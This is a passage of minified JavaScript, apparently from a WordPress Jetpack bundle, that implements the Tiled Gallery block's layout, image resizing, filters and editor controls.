:!0,text:!1},customClassName:!1,html:!1,spacing:{margin:!0,padding:!0},__experimentalHideChildBlockControls:!0}},63866:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(51806);function a(e){let{children:t,width:n}=e;const a=n?{flexBasis:`${n}%`}:void 0;return(0,r.createElement)("div",{className:"tiled-gallery__col",style:a},t)}},750:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(51806);function a(e){let{children:t,galleryRef:n}=e;return(0,r.createElement)("div",{className:"tiled-gallery__gallery",ref:n},t)}},9230:function(e,t,n){"use strict";n.d(t,{Z:function(){return m}});var r=n(51806),a=n(69307),o=n(65736),i=n(65235),s=n.n(i),l=n(38698),c=n(65597),u=n(74713),d=n(82265),p=n(72264);const __=o.__;class m extends a.Component{renderImage(e,t){const{columns:n,imageFilter:a,images:i,isSave:s,linkTo:l,layoutStyle:d,onMoveBackward:p,onMoveForward:m,onRemoveImage:h,onSelectImage:f,selectedImage:g,setImageAttributes:b}=this.props,v=(0,o.sprintf)(/* translators: %1$d is the order number of the image, %2$d is the total number of images. */
__("image %1$d of %2$d in gallery","jetpack"),t+1,i.length),{src:k,srcSet:y}=(0,u.z)(e,{layoutStyle:d});return(0,r.createElement)(c.Z,{alt:e.alt,"aria-label":v,columns:n,height:e.height,id:e.id,imageFilter:a,isFirstItem:0===t,isLastItem:t+1===i.length,isSelected:g===t,key:t,link:e.link,linkTo:l,onMoveBackward:s?void 0:p(t),onMoveForward:s?void 0:m(t),onRemove:s?void 0:h(t),onSelect:s?void 0:f(t),origUrl:e.url,setAttributes:s?void 0:b(t),showMovers:i.length>1,srcSet:y,url:k,width:e.width})}render(){const{align:e,children:t,className:n,columns:a,images:o,layoutStyle:i,roundedCorners:c,onResize:m,style:h,isSave:f,columnWidths:g}=this.props,b=(0,u.v)(i)?p.Z:d.Z,v=this.props.images.map(this.renderImage,this),k=i!==l.xJ?Math.min(c,l.Z5):0;return(0,r.createElement)("div",{style:h,className:s()(n,{[`has-rounded-corners-${k}`]:k>0})},(0,r.createElement)(b,{align:e,columns:a,columnWidths:f?g:void 0,images:o,layoutStyle:i,renderedImages:v,onResize:f?void 0:m}),t)}}},82265:function(e,t,n){"use strict";n.d(t,{Z:function(){return m}});var r=n(90017),a=n.n(r),o=n(51806),i=n(69307),s=n(6209),l=n(63866),c=n(750),u=n(2911),d=n(76981),p=n(76187);class m extends i.Component{constructor(){super(...arguments),a()(this,"gallery",(0,i.createRef)()),a()(this,"pendingRaf",null),a()(this,"ro",null),a()(this,"handleGalleryResize",(e=>{this.pendingRaf&&(cancelAnimationFrame(this.pendingRaf),this.pendingRaf=null),this.pendingRaf=requestAnimationFrame((()=>{for(const{contentRect:t,target:n}of e){const{width:e}=t,r=[];(0,p.W)(n).forEach((t=>{r.push((0,p.i)(t,e))})),void 0!==this.props.onResize&&this.props.onResize(r)}}))}))}componentDidMount(){this.observeResize()}componentWillUnmount(){this.unobserveResize()}componentDidUpdate(e){(e.images!==this.props.images||e.align!==this.props.align||"columns"===this.props.layoutStyle&&e.columns!==this.props.columns)&&this.triggerResize()}triggerResize(){this.gallery.current&&this.handleGalleryResize([{target:this.gallery.current,contentRect:{width:this.gallery.current.clientWidth}}])}observeResize(){this.triggerResize(),this.ro=new s.Z(this.handleGalleryResize),this.gallery.current&&this.ro.observe(this.gallery.current)}unobserveResize(){this.ro&&(this.ro.disconnect(),this.ro=null),this.pendingRaf&&(cancelAnimationFrame(this.pendingRaf),this.pendingRaf=null)}getColumnWidths(e,t,n){let r=0;return e.map((e=>e.map((e=>{const n=t.slice(r,r+e);return r+=e,n})))).map((e=>(0,p.i)(e,n)))}render(){const{align:e,columns:t,images:n,layoutStyle:r,renderedImages:a}=this.props,s=(0,d.h9)(n),p="columns"===r?(0,d.sv)(s,t):(0,d.T9)(s,{isWide:["full","wide"].includes(e)}),m=i.Platform.select({web:()=>this.props.columnWidths,native:()=>this.getColumnWidths(p,a,1e3)})();let h=0;return(0,o.createElement)(c.Z,{galleryRef:this.gallery},p.map(((e,t)=>(0,o.createElement)(u.Z,{key:t},e.map(((e,n)=>{const r=a.slice(h,h+e);return h+=e,(0,o.createElement)(l.Z,{key:n,width:m?.[t]?.[n]},r)}))))))}}},76981:function(e,t,n){"use strict";n.d(t,{T9:function(){return S},h9:function(){return a},sv:function(){return i}});var r=n(92819);function a(e){return(0,r.map)(e,o)}function o(e){let{height:t,width:n}=e;return t&&n?n/t:1}function i(e,t){if(e.length<=t)return[Array(e.length).fill(1)];const n=(0,r.sum)(e)/t,a=[];let o=e,i=0;for(let e=0;e<t-1;e++){const t=(0,r.takeWhile)(o,(t=>{const r=i<=(e+1)*n;return r&&(i+=t),r})).length;a.push(t),o=(0,r.drop)(o,t)}return a.push(o.length),[a]}const s=j([2,1,2],5),l=x([P,P,L,P,P]),c=x([P,P,P,L,P,P,P]),u=j([3,1,3],5),d=x([L,P,P,L]),p=j([1,2,1],5),m=x([L,P,P,P]),h=j([1,3],3),f=x([P,P,P,L]),g=j([3,1],3),b=x([N(1.6),(0,r.overEvery)(T(.9),N(2)),(0,r.overEvery)(T(.9),N(2))]),v=j([1,2],3),k=j([1,1,1,1,1],1),y=j([1,1,1,1],1),E=j([1,1,1],3),w=x([(0,r.overEvery)(T(.9),N(2)),(0,r.overEvery)(T(.9),N(2)),N(1.6)]),_=j([2,1],3),C=x([function(e){return e>=2}]);function S(e){let{isWide:t}=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n=(e,a)=>{if(!a.length)return e;let o;o=a.length>15&&l(a)&&s(e)?[2,1,2]:a.length>15&&c(a)&&u(e)?[3,1,3]:5!==a.length&&d(a)&&p(e)?[1,2,1]:m(a)&&h(e)?[1,3]:f(a)&&g(e)?[3,1]:b(a)&&v(e)?[1,2]:t&&(5===a.length||10!==a.length&&a.length>6)&&k(e)&&(0,r.sum)((0,r.take)(a,5))<5?[1,1,1,1,1]:function(e,t){const n=(0,r.sum)((0,r.take)(t,4));return y(e)&&n<3.5&&t.length>5||n<7&&4===t.length}(e,a)?[1,1,1,1]:function(e,t,n){const a=(0,r.sum)((0,r.take)(t,3));return t.length>=3&&4!==t.length&&6!==t.length&&E(e)&&(a<2.5||a<5&&t.length>=3&&t[0]===t[2]||n)}(e,a,t)?[1,1,1]:w(a)&&_(e)?[2,1]:C(a)?[1]:a.length>3?[1,1]:Array(a.length).fill(1);const i=e.concat([o]),S=(0,r.sum)(o),j=a.slice(S);return n(i,j)};return n([],e)}function j(e,t){return n=>!(0,r.some)((0,r.takeRight)(n,t),(t=>(0,r.isEqual)(t,e)))}function x(e){return t=>t.length>=e.length&&(0,r.every)((0,r.zipWith)(e,t.slice(0,e.length),((e,t)=>e(t))))}function P(e){return e>=1&&e<2}function L(e){return e<1}function T(e){return t=>t>=e}function N(e){return t=>t<e}},76187:function(e,t,n){"use strict";n.d(t,{W:function(){return i},i:function(){return o}});var r=n(38698);function a(e,t){const n=(t-e.reduce(((e,t)=>e+t),0))/e.length;return e.map((e=>e+n))}function o(e,t){return function(e,t,n){let[o,i]=t;const d=1/o*(n-r.q3*(e.childElementCount-1)-i);return function(e,t){let{rawHeight:n,rowWidth:o}=t;const i=s(e),d=i.map((e=>(n-r.q3*(e.childElementCount-1))*c(e)[0])),p=a(d,o);i.forEach(((e,t)=>{const o=d[t],i=p[t];!function(e,t){let{colHeight:n,width:r,rawWidth:o}=t;const i=l(e).map((e=>o/u(e))),s=a(i,n);Array.from(e.children).forEach(((e,t)=>{const n=s[t];e.setAttribute("style",`height:${n}px;width:${r}px;`)}))}(e,{colHeight:n-r.q3*(e.childElementCount-1),width:i,rawWidth:o})}));return p.map((e=>parseFloat(e/o*100).toFixed(5)))}(e,{rawHeight:d,rowWidth:n-r.q3*(e.childElementCount-1)})}(e,function(e){const t=s(e).map(c).reduce(((e,t)=>{let[n,r]=e,[a,o]=t;return[n+a,r+o]}),[0,0]);return t}(e),t)}function i(e){return Array.from(e.querySelectorAll(".tiled-gallery__row"))}function s(e){return Array.from(e.querySelectorAll(".tiled-gallery__col"))}function l(e){return Array.from(e.querySelectorAll(".tiled-gallery__item > img, .tiled-gallery__item > a > img"))}function c(e){const t=l(e),n=t.length,r=1/t.map(u).reduce(((e,t)=>e+1/t),0);return[r,r*n||1]}function u(e){const t=parseInt(e.dataset.width,10),n=parseInt(e.dataset.height,10);return t&&!Number.isNaN(t)&&n&&!Number.isNaN(n)?t/n:1}},2911:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(65235),o=n.n(a);function i(e){let{children:t,className:n}=e;return(0,r.createElement)("div",{className:o()("tiled-gallery__row",n)},t)}},72264:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(51806),a=n(92819),o=n(38698),i=n(63866),s=n(750),l=n(2911);function c(e){let{columns:t,renderedImages:n}=e;const c=Math.min(o.hI,t),u=n.length%c;return(0,r.createElement)(s.Z,null,[...u?[(0,a.take)(n,u)]:[],...(0,a.chunk)((0,a.drop)(n,u),c)].map(((e,t)=>(0,r.createElement)(l.Z,{key:t,className:`columns-${e.length}`},e.map(((e,t)=>(0,r.createElement)(i.Z,{key:t},e)))))))}},26225:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(81518),o=n(38698),i=n(9230);function s(e){return Math.min(3,e.images.length)}function l(e){let{attributes:t}=e;const{imageFilter:n,images:l}=t;if(!l.length)return null;const{align:c,className:u,columns:d=s(t),linkTo:p,roundedCorners:m,columnWidths:h}=t;return(0,r.createElement)(i.Z,{align:c,className:u,columns:d,imageFilter:n,images:l,isSave:!0,layoutStyle:(0,a.t)(o.P0,u),linkTo:p,roundedCorners:m,columnWidths:h})}},74713:function(e,t,n){"use strict";n.d(t,{v:function(){return c},z:function(){return u}});var r=n(13419),a=n(11313),o=n(92819),i=n(69424),s=n(99621),l=n(38698);function c(e){return["circle","square"].includes(e)}function u(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(!e.height||!e.width)return e.url?{src:e.url}:{};if((0,s.Z)())return{src:e.url};if((0,a.isBlobURL)(e.url)||/^https?:\/\/localhost/.test(e.url)||/^https?:\/\/.*\.local\//.test(e.url)||(0,r.Ug)()&&(0,r.M6)())return{src:e.url};const n=e.url.split("?",1)[0],{height:u,width:p}=e,{layoutStyle:m}=t,h=function(e){const{host:t}=new URL(e,window.location.href);return/\.files\.wordpress\.com$/.test(t)}(n)||!0===function(){if("undefined"!=typeof jetpack_plan&&"vip"===jetpack_plan.data)return!0}()?d:i.Z;let f;if(c(m)&&p&&u){const e=Math.min(l.GP,p,u);f=h(n,{resize:`${e},${e}`})}else f=h(n);let g;if(c(m)){const e=Math.min(600,p,u),t=Math.min(l.GP,p,u);g=(0,o.range)(e,t,300).map((e=>{const t=h(n,{resize:`${e},${e}`,strip:"info"});return t?`${t} ${e}w`:null})).filter(Boolean).join(",")}else{const e=Math.min(600,p),t=Math.min(l.GP,p);g=(0,o.range)(e,t,300).map((e=>{const t=h(n,{strip:"info",width:e});return t?`${t} ${e}w`:null})).filter(Boolean).join(",")}return Object.assign({src:f},g&&{srcSet:g})}function d(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n={width:"w",height:"h",letterboxing:"lb",removeLetterboxing:"ulb"},r=Object.assign(new URL(e,window.location.href),{username:"",password:"",port:"",search:"",hash:""});for(const[e,a]of Object.entries(t))r.searchParams.set(n.hasOwnProperty(e)?n[e]:e,a);return r.toString()}},15078:function(e,t,n){"use strict";n.d(t,{F:function(){return k}});var r=n(90017),a=n.n(r),o=n(51806),i=n(52175),s=n(55609),l=n(12238),c=n(69307),u=n(65736),d=n(92819),p=n(81518),m=n(94545),h=n(3740),f=n(38897),g=n(21340),b=n(99602);const __=u.__,v=[{value:"attachment",label:__("Attachment Page","jetpack")},{value:"media",label:__("Media File","jetpack")},{value:"none",label:__("None","jetpack")}];function k(e){return Math.min(3,e.images.length)}const y=e=>{const t=(0,d.pick)(e,[["alt"],["id"],["link"]]);return t.url=(0,d.get)(e,["sizes","large","url"])||(0,d.get)(e,["media_details","sizes","large","source_url"])||e.url,t};class E extends c.Component{constructor(){super(...arguments),a()(this,"state",{selectedImage:null,changed:void 0===this.props.attributes.columnWidths||0===this.props.attributes.columnWidths?.length}),a()(this,"addFiles",(e=>{const t=this.props.attributes.images||[],{noticeOperations:n}=this.props;(0,l.mediaUpload)({allowedTypes:h.RA,filesList:e,onFileChange:e=>{const n=e.map((e=>y(e)));this.setAttributes({images:t.concat(n)})},onError:n.createErrorNotice}),this.setState({changed:!0})})),a()(this,"onRemoveImage",(e=>()=>{const t=(0,d.filter)(this.props.attributes.images,((t,n)=>e!==n)),{columns:n}=this.props.attributes;this.setState({selectedImage:null,changed:!0}),this.setAttributes({images:t,columns:n?Math.min(t.length,n):n})})),a()(this,"onSelectImage",(e=>()=>{this.state.selectedImage!==e&&this.setState({selectedImage:e})})),a()(this,"onSelectImages",(e=>{const{columns:t}=this.props.attributes;this.setAttributes({columns:t?Math.min(e.length,t):t,images:e.map((e=>y(e)))}),this.setState({changed:!0})})),a()(this,"onMove",((e,t)=>{const n=[...this.props.attributes.images];n.splice(t,1,this.props.attributes.images[e]),n.splice(e,1,this.props.attributes.images[t]),this.setState({selectedImage:t,changed:!0}),this.setAttributes({images:n})})),a()(this,"onMoveForward",(e=>()=>{e!==this.props.attributes.images.length-1&&this.onMove(e,e+1)})),a()(this,"onMoveBackward",(e=>()=>{0!==e&&this.onMove(e,e-1)})),a()(this,"onResize",(e=>{this.state.changed&&this.setAttributes({columnWidths:e})})),a()(this,"setColumnsNumber",(e=>this.setAttributes({columns:e}))),a()(this,"setRoundedCorners",(e=>this.setAttributes({roundedCorners:e}))),a()(this,"setImageAttributes",(e=>t=>{const{attributes:{images:n}}=this.props;n[e]&&this.setAttributes({images:[...n.slice(0,e),{...n[e],...t},...n.slice(e+1)]})})),a()(this,"setLinkTo",(e=>this.setAttributes({linkTo:e}))),a()(this,"uploadFromFiles",(e=>this.addFiles(e.target.files)))}static getDerivedStateFromProps(e,t){return e.isSelected||null===t.selectedImage?null:{selectedImage:null}}setAttributes(e){if(e.ids)throw new Error('The "ids" attribute should not be changed directly. It is managed automatically when "images" attribute changes');e.images&&(e={...e,ids:e.images.map((e=>{let{id:t}=e;return parseInt(t,10)}))}),this.props.setAttributes(e)}render(){const{selectedImage:e}=this.state,{attributes:t,isSelected:n,className:r,noticeOperations:a,noticeUI:l,setAttributes:u}=this.props,{align:d,columns:y=k(t),imageFilter:E,images:w,linkTo:_,roundedCorners:C}=t,S=(0,o.createElement)(s.DropZone,{onFilesDrop:this.addFiles}),j=(0,o.createElement)(i.BlockControls,null,!!w.length&&(0,o.createElement)(c.Fragment,null,(0,o.createElement)(s.ToolbarGroup,null,(0,o.createElement)(s.ToolbarItem,null,(()=>(0,o.createElement)(i.MediaUpload,{onSelect:this.onSelectImages,allowedTypes:h.RA,multiple:!0,gallery:!0,value:w.map((e=>e.id)),render:e=>{let{open:t}=e;return(0,o.createElement)(m.Z,{label:__("Edit Gallery","jetpack"),onClick:t})}})))),(0,o.createElement)(f.Z,{value:E,onChange:e=>{u({imageFilter:e}),this.setState({selectedImage:null})}})));if(0===w.length)return(0,o.createElement)(c.Fragment,null,j,(0,o.createElement)(i.MediaPlaceholder,{icon:b.qv,className:r,labels:{title:__("Tiled Gallery","jetpack"),name:__("images","jetpack")},onSelect:this.onSelectImages,accept:"image/*",allowedTypes:h.RA,multiple:!0,notices:l,onError:a.createErrorNotice}));const x=(0,p.t)(h.P0,t.className);return(0,o.createElement)(c.Fragment,null,j,(0,o.createElement)(i.InspectorControls,null,(0,o.createElement)(s.PanelBody,{title:__("Tiled Gallery settings","jetpack")},["columns","circle","square"].includes(x)&&w.length>1&&(0,o.createElement)(s.RangeControl,{label:__("Columns","jetpack"),value:y,onChange:this.setColumnsNumber,min:1,max:Math.min(h.hI,w.length)}),x!==h.xJ&&(0,o.createElement)(s.RangeControl,{label:__("Rounded corners","jetpack"),value:C,onChange:this.setRoundedCorners,min:0,max:h.Z5}),(0,o.createElement)(s.SelectControl,{label:__("Link To","jetpack"),value:_,onChange:this.setLinkTo,options:v}))),l,(0,o.createElement)(g.Z,{align:d,className:r,columns:y,imageFilter:E,images:w,layoutStyle:x,linkTo:_,onMoveBackward:this.onMoveBackward,onMoveForward:this.onMoveForward,onRemoveImage:this.onRemoveImage,onSelectImage:this.onSelectImage,onResize:this.onResize,roundedCorners:C,selectedImage:n?e:null,setImageAttributes:this.setImageAttributes},S,n&&(0,o.createElement)("div",{className:"tiled-gallery__add-item"},(0,o.createElement)(s.FormFileUpload,{multiple:!0,className:"tiled-gallery__add-item-button",onChange:this.uploadFromFiles,accept:"image/*",icon:"insert"},__("Upload an image","jetpack")))))}}t.ZP=(0,s.withNotices)(E)},47158:function(e,t,n){"use strict";var r=n(31985),a=n(99602);(0,r.Z)(a.u2,a.Xd)},38897:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(55609),o=n(65736);const __=o.__,_x=o._x,i=[{icon:(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{fill:"none",d:"M0 0h24v24H0V0z"}),(0,r.createElement)(a.Path,{d:"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3V5zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2zm0 16H7V3h14v14z"})),title:_x("Original","image style","jetpack"),value:void 0},{icon:(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{fill:"none",d:"M0 0h24v24H0V0z"}),(0,r.createElement)(a.Path,{d:"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3V5zm11 10h2V5h-4v2h2v8zm7-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2zm0 16H7V3h14v14z"})),title:_x("Black and White","image style","jetpack"),value:"black-and-white"},{icon:(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{fill:"none",d:"M0 0h24v24H0V0z"}),(0,r.createElement)(a.Path,{d:"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3V5zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2zm0 16H7V3h14v14zm-4-4h-4v-2h2c1.1 0 2-.89 2-2V7c0-1.11-.9-2-2-2h-4v2h4v2h-2c-1.1 0-2 .89-2 2v4h6v-2z"})),title:_x("Sepia","image style","jetpack"),value:"sepia"},{icon:(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{fill:"none",d:"M0 0h24v24H0V0z"}),(0,r.createElement)(a.Path,{d:"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2zm0 16H7V3h14v14zM3 5H1v16c0 1.1.9 2 2 2h16v-2H3V5zm14 8v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-4v2h4v2h-2v2h2v2h-4v2h4c1.1 0 2-.89 2-2z"})),title:"1977",value:"1977"},{icon:(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{fill:"none",d:"M0 0h24v24H0V0z"}),(0,r.createElement)(a.Path,{d:"M3 5H1v16c0 1.1.9 2 2 2h16v-2H3V5zm12 10h2V5h-2v4h-2V5h-2v6h4v4zm6-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2zm0 16H7V3h14v14z"})),title:_x("Clarendon","image style","jetpack"),value:"clarendon"},{icon:(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{fill:"none",d:"M0 0h24v24H0z"}),(0,r.createElement)(a.Path,{d:"M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2zm0 16H7V3h14v14zM3 5H1v16c0 1.1.9 2 2 2h16v-2H3V5zm14 8v-2c0-1.11-.9-2-2-2h-2V7h4V5h-6v6h4v2h-4v2h4c1.1 0 2-.89 2-2z"})),title:_x("Gingham","image style","jetpack"),value:"gingham"}],s=__("Pick an image filter","jetpack");function l(e){let{value:t,onChange:n}=e;return(0,r.createElement)(a.Dropdown,{placement:"bottom-start",className:"editor-block-switcher",contentClassName:"editor-block-switcher__popover",renderToggle:e=>{let{onToggle:t,isOpen:n}=e;return(0,r.createElement)(a.Toolbar,{controls:[{onClick:t,extraProps:{"aria-haspopup":"true","aria-expanded":n},title:s,tooltip:s,icon:(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{fill:"none",d:"M0 0h24v24H0V0z"}),(0,r.createElement)(a.Path,{d:"M19 10v9H4.98V5h9V3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-9h-2zm-2.94-2.06L17 10l.94-2.06L20 7l-2.06-.94L17 4l-.94 2.06L14 7zM12 8l-1.25 2.75L8 12l2.75 1.25L12 16l1.25-2.75L16 12l-2.75-1.25z"}))}]})},renderContent:e=>{let{onClose:o}=e;return(0,r.createElement)(a.NavigableMenu,{className:"tiled-gallery__filter-picker-menu"},i.map((e=>{let{icon:i,title:s,value:l}=e;return(0,r.createElement)(a.MenuItem,{className:t===l?"is-active":void 0,icon:i,isSelected:t===l,key:l||"original",onClick:(c=l,()=>{n(t===c?void 0:c),o()}),role:"menuitemcheckbox"},s);var c})))}})}},57773:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(11313),s=n(55609),l=n(9818),c=n(69307),u=n(65736),d=n(39630),p=n(65235),m=n.n(p),h=n(17752);const __=u.__;class f extends c.Component{constructor(){super(...arguments),a()(this,"img",(0,c.createRef)()),a()(this,"onImageClick",(()=>{this.props.isSelected||this.props.onSelect()})),a()(this,"onImageKeyDown",(e=>{this.img.current===document.activeElement&&this.props.isSelected&&[d.BACKSPACE,d.DELETE].includes(e.keyCode)&&this.props.onRemove()}))}componentDidUpdate(){const{alt:e,height:t,image:n,link:r,url:a,width:o}=this.props;if(n){const i={};!e&&n.alt_text&&(i.alt=n.alt_text),!t&&n.media_details&&n.media_details.height&&(i.height=+n.media_details.height),!r&&n.link&&(i.link=n.link),!a&&n.source_url&&(i.url=n.source_url),!o&&n.media_details&&n.media_details.width&&(i.width=+n.media_details.width),Object.keys(i).length&&this.props.setAttributes(i)}}render(){const{"aria-label":e,alt:t,columns:n,height:r,id:a,imageFilter:l,isFirstItem:u,isLastItem:d,isSelected:p,link:f,linkTo:g,onMoveBackward:b,onMoveForward:v,onRemove:k,origUrl:y,showMovers:E,srcSet:w,url:_,width:C}=this.props;let S;switch(g){case"media":S=y;break;case"attachment":S=f}const j=(0,i.isBlobURL)(y),x=(0,o.createElement)(c.Fragment,null,(0,o.createElement)("img",{alt:t,"aria-label":e,"data-height":r,"data-id":a,"data-link":f,"data-url":y,"data-width":C,onClick:this.onImageClick,onKeyDown:this.onImageKeyDown,ref:this.img,src:j?void 0:_,srcSet:j?void 0:w,tabIndex:"0",style:j?{backgroundImage:`url(${y})`}:void 0}),j&&(0,o.createElement)(s.Spinner,null));return(0,o.createElement)("figure",{className:m()("tiled-gallery__item",{"is-selected":p,"is-transient":j,[`filter__${l}`]:!!l})},E&&(0,o.createElement)("div",{className:"tiled-gallery__item__move-menu"},(0,o.createElement)(s.Button,{icon:1===n?h.WO:h.KT,onClick:u?void 0:b,className:"tiled-gallery__item__move-backward",label:__("Move image backward","jetpack"),"aria-disabled":u,disabled:!p}),(0,o.createElement)(s.Button,{icon:1===n?h.xf:h.zz,onClick:d?void 0:v,className:"tiled-gallery__item__move-forward",label:__("Move image forward","jetpack"),"aria-disabled":d,disabled:!p})),(0,o.createElement)("div",{className:"tiled-gallery__item__inline-menu"},(0,o.createElement)(s.Button,{icon:h.xv,onClick:k,className:"tiled-gallery__item__remove",label:__("Remove image","jetpack"),disabled:!p})),S?(0,o.createElement)("a",null,x):x)}}t.Z=(0,l.withSelect)(((e,t)=>{const{getMedia:n}=e("core"),{id:r}=t;return{image:r?n(r):null}}))(f)},81921:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(51806),a=n(11313),o=n(65235),i=n.n(o);function s(e){const{alt:t,imageFilter:n,height:o,id:s,link:l,linkTo:c,origUrl:u,url:d,width:p}=e;if((0,a.isBlobURL)(u))return null;let m;switch(c){case"media":m=u;break;case"attachment":m=l}const h=(0,r.createElement)("img",{alt:t,"data-height":o,"data-id":s,"data-link":l,"data-url":u,"data-width":p,src:d,"data-amp-layout":"responsive"});return(0,r.createElement)("figure",{className:i()("tiled-gallery__item",{[`filter__${n}`]:!!n})},m?(0,r.createElement)("a",{href:m},h):h)}},17752:function(e,t,n){"use strict";n.d(t,{KT:function(){return o},WO:function(){return l},xf:function(){return s},xv:function(){return c},zz:function(){return i}});var r=n(51806),a=n(55609);const o=(0,r.createElement)(a.SVG,{width:"18",height:"18",viewBox:"0 0 18 18",xmlns:"http://www.w3.org/2000/svg"},(0,r.createElement)(a.Path,{d:"M5 8.70002L10.6 14.4L12 12.9L7.8 8.70002L12 4.50002L10.6 3.00002L5 8.70002Z"})),i=(0,r.createElement)(a.SVG,{width:"18",height:"18",viewBox:"0 0 18 18",xmlns:"http://www.w3.org/2000/svg"},(0,r.createElement)(a.Path,{d:"M13 8.7L7.4 3L6 4.5L10.2 8.7L6 12.9L7.4 14.4L13 8.7Z"})),s=(0,r.createElement)(a.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,r.createElement)(a.Path,{d:"M7.41,8.59L12,13.17l4.59-4.58L18,10l-6,6l-6-6L7.41,8.59z"})),l=(0,r.createElement)(a.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,r.createElement)(a.Path,{d:"M12,8l-6,6l1.41,1.41L12,10.83l4.59,4.58L18,14L12,8z"})),c=(0,r.createElement)(a.SVG,{width:"18",height:"18",viewBox:"-2 -2 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,r.createElement)(a.Path,{d:"M14.95 6.46L11.41 10l3.54 3.54-1.41 1.41L10 11.42l-3.53 3.53-1.42-1.42L8.58 10 5.05 6.47l1.42-1.42L10 8.58l3.54-3.53z"}))},99602:function(e,t,n){"use strict";n.d(t,{Xd:function(){return P},qv:function(){return x},u2:function(){return j}});var r=n(51806),a=n(13419),o=n(4981),i=n(55609),s=n(65736),l=n(92819),c=n(70355),u=n(5820),d=n(3740),p=n(73463),m=n(15078),h=n(10745),f=n(96606),g=n(85472),b=n(79009),v=n(10742),k=n(52642),y=n(41145);const __=s.__,_x=s._x,E={[d.EU]:_x("Tiled mosaic","Tiled gallery layout","jetpack"),[d.xJ]:_x("Circles","Tiled gallery layout","jetpack"),[d.sw]:_x("Tiled columns","Tiled gallery layout","jetpack"),[d.yw]:_x("Square tiles","Tiled gallery layout","jetpack")},w=d.P0.map((e=>({...e,label:E[e.name]})));function _(e){return(0,l.filter)(e,(e=>{let{id:t,url:n}=e;return t&&n}))}const C={align:{default:"center",type:"string"},className:{default:`is-style-${d.EU}`,type:"string"},columns:{type:"number"},columnWidths:{default:[],type:"array"},ids:{default:[],type:"array"},imageFilter:{type:"string"},images:{type:"array",default:[],source:"query",selector:".tiled-gallery__item",query:{alt:{attribute:"alt",default:"",selector:"img",source:"attribute"},height:{attribute:"data-height",selector:"img",source:"attribute",type:"number"},id:{attribute:"data-id",selector:"img",source:"attribute"},link:{attribute:"data-link",selector:"img",source:"attribute"},url:{attribute:"data-url",selector:"img",source:"attribute"},width:{attribute:"data-width",selector:"img",source:"attribute",type:"number"}}},imageCrop:{type:"boolean",default:!0},linkTo:{default:"none",type:"string"},roundedCorners:{type:"integer",default:0}},S={align:"center",className:"is-style-rectangular",images:[{alt:"",link:"",url:f,width:160,height:95},{alt:"",link:"",url:g,width:160,height:107},{alt:"",link:"",url:b,width:304,height:203},{alt:"",link:"",url:v,width:312,height:207},{alt:"",link:"",url:k,width:152,height:101},{alt:"",link:"",url:y,width:152,height:105}],linkTo:"none"},j="tiled-gallery",x=(0,r.createElement)(i.SVG,{viewBox:"0 0 24 24",width:24,height:24},(0,r.createElement)(i.Path,{d:"M19 5v2h-4V5h4M9 5v6H5V5h4m10 8v6h-4v-6h4M9 17v2H5v-2h4M21 3h-8v6h8V3zM11 3H3v10h8V3zm10 8h-8v10h8V11zm-10 4H3v6h8v-6z"})),P={attributes:C,category:(0,u.Z)("media","layout"),description:__("Display multiple images in an elegantly organized tiled layout.","jetpack")+((0,a.Wp)()?"":" "+__("Serves images using Jetpack's fast global network of servers.","jetpack")),icon:{src:x,foreground:(0,c.m)()},keywords:[_x("columns","block search term","jetpack"),_x("images","block search term","jetpack"),_x("photos","block search term","jetpack"),_x("pictures","block search 